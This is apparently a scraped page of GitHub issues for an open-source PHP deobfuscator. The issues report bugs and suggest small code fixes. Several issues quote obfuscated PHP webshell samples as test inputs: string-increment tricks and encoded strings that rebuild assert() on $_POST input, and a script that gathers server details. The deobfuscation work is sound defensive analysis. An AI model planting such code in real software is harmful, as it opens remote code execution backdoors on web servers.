simon816 / phpdeobfuscator Goto Github PK
View Code? Open in Web Editor NEWAdvanced PHP deobfuscator
License: MIT License
Advanced PHP deobfuscator
License: MIT License
hello,when I was working with a confused php sample, I found that it couldn't handle string increments like this:
<?php
$a = "a";
$a++; //$a is 'b'
In the sample, starting from character a, ‘assert’ are obtained through self-increment operation, and command execution statements are constructed.
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
For string variables, statements in $a++ format cannot be converted to $a+ = 1 or $a = $a+ 1.
How do you do variable storage? How do I get the value of the specified variable?Is it $node->getAttribute(AttrName::VALUE)
?
My idea is to get the value of the variable and update the new value after increment.
Look forward to your thoughts.
Hello, I plan to do a PHPDeobfuscator project as my graduation project, I plan to learn the processing mode of your project, but NOW I can only do some basic application of PHP-Parser, I am trying to understand your data flow processing, I have been reading the source code of ControlFlowVisitor recently, But sometimes I can't understand it well, and FuncCallReducer. Have you written any documentation to help others understand the flow of the program?
src/Reducer/EvalReducer.php
src/Reducer/EvalReducer.php: if (substr($code, 0, 2) == '?>' && $code{2} != '<') {
src/Reducer/EvalReducer.php: $code{0} = '<';
src/Reducer/EvalReducer.php: $code{1} = '?';
Those 3 lines just need to be changed.
PHP Fatal error: Uncaught LogicException: Path is outside of the defined root, path: [../init.php] in /home/chris/Downloads/PHPDeobfuscator-master/vendor/league/flysystem/src/Util.php:118
Stack trace:
#0 /home/chris/Downloads/PHPDeobfuscator-master/vendor/league/flysystem/src/Util.php(92): League\Flysystem\Util::normalizeRelativePath('../init.php')
#1 /home/chris/Downloads/PHPDeobfuscator-master/vendor/league/flysystem/src/Filesystem.php(56): League\Flysystem\Util::normalizePath('../init.php')
#2 /home/chris/Downloads/PHPDeobfuscator-master/src/Reducer/EvalReducer.php(40): League\Flysystem\Filesystem->has('../init.php')
#3 /home/chris/Downloads/PHPDeobfuscator-master/src/Reducer/AbstractReducer.php(39): Reducer\EvalReducer->reduceInclude(Object(PhpParser\Node\Expr\Include_))
#4 /home/chris/Downloads/PHPDeobfuscator-master/src/ReducerVisitor.php(33): Reducer\AbstractReducer->reduce(Object(PhpParser\Node\Expr\Include_), Object(ReducerVisitor))
#5 /home/chris/Downloads/PHPDeobfuscator-master/src/ReducerVisitor.php(24): ReducerVisitor->reduceNode(Object(PhpParser\Node\Expr\Include_))
#6 /home/chris/Downloads/PHPDeobfuscator-master/vendor/nikic/php-parser/lib/PhpParser/NodeTraverser.php(178): ReducerVisitor->leaveNode(Object(PhpParser\Node\Expr\Include_))
#7 /home/chris/Downloads/PHPDeobfuscator-master/vendor/nikic/php-parser/lib/PhpParser/NodeTraverser.php(85): PhpParser\NodeTraverser->traverseArray(Array)
#8 /home/chris/Downloads/PHPDeobfuscator-master/src/Deobfuscator.php(104): PhpParser\NodeTraverser->traverse(Array)
#9 /home/chris/Downloads/PHPDeobfuscator-master/index.php(16): Deobfuscator->deobfuscate(Array)
#10 /home/chris/Downloads/PHPDeobfuscator-master/index.php(29): deobfuscate('<?php\r\ngoto b1a...', '/home/chris//cl...', false)
#11 {main}
thrown in /home/chris/Downloads/PHPDeobfuscator-master/vendor/league/flysystem/src/Util.php on line 118
sample:
<?php
$a = $_POST['a'];
$b = $_GET['b'];
$c = 'assert';
$a($b);
$c($a);
echo "aaa";
it doesn't seem to get a value, and it appears empty.
When the code has more than two consecutive labels we get an error and the resulting code still has the two first labels (which should be removed I believe).
Example:
Input:
goto LabelA;
LabelA:
LabelB:
LabelC:
echo 'hello';
Output:
LabelA:
LabelB:
echo "hello";
Expected output:
echo "hello";
Not full remove all goto https://pastebin.com/wCvUpqf2
When there is a branch control statement in the middle of the code segment (for example, if, while), the variable reduction after the branch is invalid.
INPUT
<?php
$a = 'b';
$b = 'm';
$i=1;
echo $a;
echo $b;
OUTPUT
<?php
$a = 'b';
$b = 'm';
$i = 1;
echo "b";
echo "m";
INPUT
<?php
$a = 'b';
$b = 'm';
$i=1;
while($i<=5)
{
echo "The number is " . $i . "<br>";
$i++;
}
echo $i;
echo $a;
echo $b;
OUTPUT
<?php
$a = 'b';
$b = 'm';
$i = 1;
while ($i <= 5) {
echo "The number is " . $i . "<br>";
$i++;
}
echo $i;
echo $a;
echo $b;
The values of $a and $b are not restored.
Branch statements may interfere with the normal operation of Scope and Resolver.
Hello, I saw that the tool is able to remove GOTO as per the examples in the readme
it happens but I was not successful in my attempt
Is it possible to find a cause? to remove goto calls
example: https://pastebin.com/NyVxZMC0
Ex:
"<?php
$k = 3;
if(!($k<3))goto end;
echo 'Hello world\n';
end:"
Goto is not decoded in this case, can you update the program that can decode goto in if/while for loops?
Hello
Thank you simon816 for amazing script . we want use it but we found a missing file require 'vendor/autoload.php';
vendor/autoload.php
can you please help us to get this file please ?
Function names with mixed case cannot be restored properly.
<?php
$K=sTr_RepLaCe('`','',chr('111').'`s`s`e`r`t');
I believe that the reduceFunctionCall function in FuncCallReducer did not convert the function name to lower case.
PHPDeobfuscator/src/Reducer/FuncCallReducer.php
Lines 26 to 38 in f70baa3
Use strtolower() here to ensure that $name is lowercase.
public function reduceFunctionCall(Node\Expr\FuncCall $node)
{
if ($node->name instanceof Node\Name) {
- $name = $node->name->toString();
+ $name = strtolower($node->name->toString());
} else {
$name = Utils::getValue($node->name);
$nameNode = new Node\Name($name);
// Special case for MetadataVisitor
$nameNode->setAttribute('replaces', $node->name);
$node->name = $nameNode;
}
return $this->makeFunctionCall($name, $node);
}
Some files throw fclose(): supplied resource is not a valid stream resource
Error.
Suggested fix:
private function fclose(ResourceValue $handle)
{
if (is_resource($handle->getResource())) {
fclose($handle->getResource());
}
}
Not correct decode goto and multi label.
lab1:
lab2:
lab3:
The test sample is as follows
<?php
$x1c = "\x64\151\163k\146\162\145e\x73\160\x61\x63\x65";
$x1d = "\144i\163\x6b_\164o\164a\154\137\x73\160\x61ce";
$x1e = "\x67\145\x74\x63\x77d";
$x1f = "\x67e\164\x65\x6e\166";
$x20 = "\x67\145t\150\157s\x74by\156\x61\155\145";
$x21 = "\x70\150\x70\x5fu\x6e\141\155e";
$x22 = "\x70\x68\x70\166e\162\163\x69\157n";
$x23 = "\163\x70r\x69\x6et\x66";
$x24 = "\163tr\154e\x6e";
$x25 = "\x73y\163\164\x65\155";
echo "\x66\151\147\x62a\x79\x69\154\157\146i\x6cogba<\x62r\076";
$x0d = $x21();
$x10 = $x1e();
$x11 = $x1f("\x53\x45\122\x56\x45\122\x5f\x53O\106\124\x57A\122\105");
$x12 = $x22();
$x13 = $_SERVER['SERVER_NAME'];
$x16 = $x1c($x10);
$x18 = $x1d($x10);
$x1b = @PHP_OS;
echo "\146\x69\x67\142\x61y\x69\x6co\146i\x6c\x6fg\x62\x61\074\142\162\076";
echo "\165n\141\x6d\145 -\141: $x0d<\x62\162\x3e";
echo "os\072 $x1b\x3c\x62\162\x3e";
echo "\160w\x64\x3a $x10<\x62r>";
echo "p\150p\x3a\040$x12\x3c\x62\162>";
echo "\163\x6f\x66\x74\167a\162\x65:\x20$x11\x3c\x62\162>";
echo "\x73\x65r\x76\x65r\x2d\x6e\141\155\145\x3a\x20$x13\074\142\162\076";
This is going to throw an error
$x16 = $x1c($x10);
$x18 = $x1d($x10);
==>
Fatal error: Uncaught PHPDeobfuscator\Exceptions\UnknownValueException:Cannot determine value of node
Another sample:
<?php
$a=@$_POST['aa'];
$bd="base64_decode";
$str="str_replace";
$d=$bd("WVhOelkyRnZibWx0WVdWeWRBPT1pdHN1a2k=");
$d=$str('it','suki',$d);
$d=$str('suki','',$d);
$d=$bd($d);
$d=$str('cao','nima',$d);
$d=$str('nima','',$d);
create_function('',$d($a));
?>
This code create_function('',$d($a));
causes the program to exit abnormally
Fatal error: Uncaught PHPDeobfuscator\Exceptions\UnknownValueException: Cannot determine value of node in C:\Users\Itsuki\Desktop\php-deobf\src\Utils.php on line 55
PHPDeobfuscator\Exceptions\UnknownValueException: : Cannot determine value of node in C:\Users\Itsuki\Desktop\php-deobf\src\Utils.php on line 55
Call Stack:
0.0002 399528 1. {main}() PHPDeobfuscator\index.php:0
0.0019 487640 2. deobfuscate(string(263), string(10), false) PHPDeobfuscator\index.php:29
0.0364 6293768 3. PHPDeobfuscator\Deobfuscator->deobfuscate(array(10)) PHPDeobfuscator\index.php:16
0.0369 6316824 4. PhpParser\NodeTraverser->traverse(array(10)) PHPDeobfuscator\src\Deobfuscator.php:110
0.0369 6316824 5. PhpParser\NodeTraverser->traverseArray(array(10)) PHPDeobfuscator\vendor\nikic\php-parser\lib\PhpParser\NodeTraverser.php:91
0.0404 6407112 6. PhpParser\NodeTraverser->traverseNode(class PhpParser\Node\Stmt\Expression) PHPDeobfuscator\vendor\nikic\php-parser\lib\PhpParser\NodeTraverser.php:223
0.0404 6407144 7. PhpParser\NodeTraverser->traverseNode(class PhpParser\Node\Expr\FuncCall) PHPDeobfuscator\vendor\nikic\php-parser\lib\PhpParser\NodeTraverser.php:146
0.0405 6407272 8. PhpParser\NodeTraverser->traverseArray(array(2)) PHPDeobfuscator\vendor\nikic\php-parser\lib\PhpParser\NodeTraverser.php:114
0.0405 6407984 9. PhpParser\NodeTraverser->traverseNode(class PhpParser\Node\Arg) PHPDeobfuscator\vendor\nikic\php-parser\lib\PhpParser\NodeTraverser.php:223
0.0406 6409168 10. PHPDeobfuscator\Reducer\VariableReducer->leaveNode(class PhpParser\Node\Expr\FuncCall) PHPDeobfuscator\vendor\nikic\php-parser\lib\PhpParser\NodeTraverser.php:153
0.0406 6409264 11. PHPDeobfuscator\Utils::getValue(class PhpParser\Node\Expr\Variable) PHPDeobfuscator\src\Reducer\VariableReducer.php:19
0.0406 6409264 12. PHPDeobfuscator\Utils::getValueRef(class PhpParser\Node\Expr\Variable) PHPDeobfuscator\src\Utils.php:63
When $a is the normal variable value, it can be restored normally.
$a="phpinfo()";
create_function('',$d($a)); ===> create_function('', assert('phpinfo()'));
$a = $_POST['a'];
create_function('',$d($a)); ===> error.$d can be recognized as assert, but the value of $a cannot be recognized.
The AST for the global variable is as follows:
expr: Expr_ArrayDimFetch(
var: Expr_Variable(
name: _POST
)
)
Perhaps you can use PHP-Parser's prettyPrintExpr($node) to extract it as a string.
it needs to improve error handling? Output what has been restored when an error occurs?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.